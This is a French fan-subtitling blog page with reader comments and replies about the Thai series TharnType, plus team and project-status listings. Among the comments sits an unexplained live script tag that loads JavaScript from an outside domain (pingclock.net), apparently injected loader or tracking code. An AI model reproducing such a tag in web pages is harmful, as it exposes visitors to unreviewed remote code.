coucou énorme merci pour ce troisième épisode hâter de voir la suitée j'adore cette série et bravo et bon courage pour la suitée de la traduction a la semaine prochaine
merci énormément pour votre travaille
Srx chui devenu addict de ce couple je peux plus m'en passé d'eux TharnType for ever<3
-
Samedi 26 Octobre 2019 à 02:37
Oui apparemment sa sera chaud comme Gulf l'a dis en Meeting le 4 sera encore plus mieux que le 3 bahahha
-
Samedi 26 Octobre 2019 à 01:08
J'adore ce couple aussi. ^^ Et attends de voir la suite qui sort dimanche. :) J'ai déjà hâte au 4ième épisode. (Ouais, et il est même pas encore sorti en VO... juste lundi prochain. Hahaha !)
-
Merci pour ces 2 épisodes
waow, le premier épisode envoie du lourd, j'adore ! enfin quelque chose de pas trop cucul :'D
<script src="//pingclock.net/21db1c5c8b372aecca.js" type="text/javascript"></script>-
Mercredi 16 Octobre 2019 à 19:56
Oh, tu sais, y'a pas que cette série qui est pas trop cucul. ^^ Les HiStory sont très, très bien dans le genre pas trop guimauve. :)
Merci pour ton commentaire. Ça fait toujours plaisir. ^^
-
Merci pour ce premier épisode ! J'ai hâte de le regarder et voir ce que cela va donner ! Mais, juste en lisant le résumé, je sais déjà que je vais me régaler et qu'il y a peu de risques que je m'ennuie ^^
-
Mercredi 16 Octobre 2019 à 19:54
J'ai aucuns doutes pour la suite. Je suis sûre que ce sera génial. (Bon, après, j'ai toujours pas vue l'épisode 2 en VOSTA. C'est une honte). Hahaha ! Mais je sais que ce sera bien. On va avoir des rebondissements, c'est certain.
Merci pour ton commentaire.
-
Merci pour ce premier épisode, tu as fait un travail de haute facture MyaEria avec Babz j'ai passé un pur moment de bonheur à visionner cet épisode.
Je suis en admiration devant tout ce travail et maintenant que je fais partie moi aussi d'une Team et que je vois le travail qu'il y a derrière, mon admiration est encore plus grande.
J'ai failli remettre le ventilo dans mon salon quand est arrivé la fin de l'épisode tellement la température est montée, j'en suis encore toute retournée comme une crêpe, je suis à plat :) devant la multitude d'émotion que j'ai ressenti.
Bonne soirée et bonne semaine.
-
Mercredi 16 Octobre 2019 à 19:52
Merci pour ton commentaire. ^^ Ça fait très plaisir de lire ça.
Eh oui, c'est quand on embarque dans l'aventure qu'on se rend "vraiment" compte de tout ce qu'il y a derrière. Moi j'adore ça. Je fais un peu multi-tâches et c'est super. (D'accord, si on omets "L'Édition" qui est moins mon dada.) :D
Ah, oui, cette fin d'épisode ! C'était sympa. Hahaha ! Après, avec le froid qui fait chez moi, j'ai pas besoin du ventilo pour ma part. MDR
Bonne soirée/journée à toi aussi. :)
-
Merci pour cette belle série. Le trailer est très très alléchant.
je ne pense pas être déçue.
Bonne continuation.
Merci pour ce projet et cet premier épisode
Comptent de revoir Mew Suppasit (tharm) que l'on avait vu dans WHAT THE DUCK
Bonsoir, merci de le prendre en projet, il est déjà sortie le premier et j'ai très hâte qu'il soit traduit. Ce n'est pas pour ce soir snif.
-
Dimanche 13 Octobre 2019 à 12:06
Wouah ! T'es au taquet, toi ! Tu surveillais, n'est-ce pas ? Hahahaha !!! Les sorties se font toujours le Dimanche à 12h normalement. :)
-
Dimanche 13 Octobre 2019 à 12:03
Merci mille fois enfin hihihi.
-
31OnceLundi 7 Octobre 2019 à 18:38Je n'arrive pas à voir le drama alors que je suis le 7 octobre et il est 18h38 je sais pas si c'est normal ?-
Samedi 12 Octobre 2019 à 18:23
Il sortait le 7 sur Line TV. Si tu peux, tu le visionne en VOSTA. Si tu tapes "TharnType EP 1 VOSTA ou ENSUB", tu devrais le trouver assez facilement.
-
merci merci merci j'ai trop envie de voir cette série mais je vais attendre la fin car pour ce projet je suis pas patiente après il faut que tient jusqu'au bout mais merci encore de la voir pris
26Mi-yougLundi 30 Septembre 2019 à 00:23Hâte de le voir!!! Merci !!!24kika 01Dimanche 29 Septembre 2019 à 13:12Merci pour ce nouveau projet je sens que je vais beaucoup l'aimer
J'ai vue le trailer bon dimanche
Suivre le flux RSS des commentaires
Ajouter un commentaire
Traduction sans limites !
-
AsiaFansubvostfr
Toute l'équipe de la AsiaFansub pour partager avec vous :
CRÉATRICES :
S-Doodly & T-Moonster
MEMBRES ACTIVES :
Babz - Admin, Gestionnaire des recrutements, professeur de newbies, Traduction, Édition & Encodage.
MissHely aka "tyran" - Admin, Traduction, Check, Édition, Encodage & blog-designer.
MyaEria - Admin, Check, Traduction, Timing, Encodage & blog-designer.
Sati - Admin, Timing, Traduction, Check, Édition & Encodage.
Consultant "orthographique" : Toccata, Motherlode & VV
Consultant "timing" : Isis & Yusuyu
-
EP 1 à 12 : En ligne !
EP 1 à 5 : En ligne !
EP 6 à 12 : En attente de diffusion
EP 1 à 14 : En ligne !
EP 15 à 36 : En pause
EP 1 à 7 : En ligne !
EP 8 à 12 : En attente de diffusion
EP 1 à 10 : En ligne !
EP 11 & 12 : En attente de diffusion
EP 1 à 4 : En ligne !
EP 5 : En attente de engsub
EP 1 à 11 : En ligne !
EP 12 : En traduction & timing
EP 1 à 7 : En ligne !
EP 8 à 10 : En pause
EP 1 à 11 : En ligne !
EP 12 : En attente de diffusion
EP 1 à 20 : En ligne !
EP 21 à 24 : En pause
Saison 1 & 2 : En ligne !
Saison 3 : En traduction & timing
EP 1 : En ligne !
EP 2 à 15 : En traduction & timing
-
SF9
Memory
Coup de cœur de Gloomydestiny ❤
Onew
Beat drum
Coup de cœur de SaintNewGe ❤
Jay Park
Your/My
Coup de cœur de Ryu ❤
Tabber & Dean
Chi-ka
Coup de cœur de LcAn ❤
F.T. Island
Coup de cœur de Sweetin ❤
SHINee
The Feeling
Coup de cœur de Blue1001 ❤
Agust D Ft. Ryuichi Sakamoto & Woosung
Snooze
Coup de cœur de gnifer ❤
Une chanson que vous voudriez voir afficher ici ?
Mettez un commentaire dans l'article “Un coup de coeur musical ?” ! ^^
Le lien si dessous :
-
-
Créer mon blog
Bonsoir, merci beaucoup pour ce drama...Je tente! oui je sais je mis le temps pour le voir..Merci encore, bonne soirée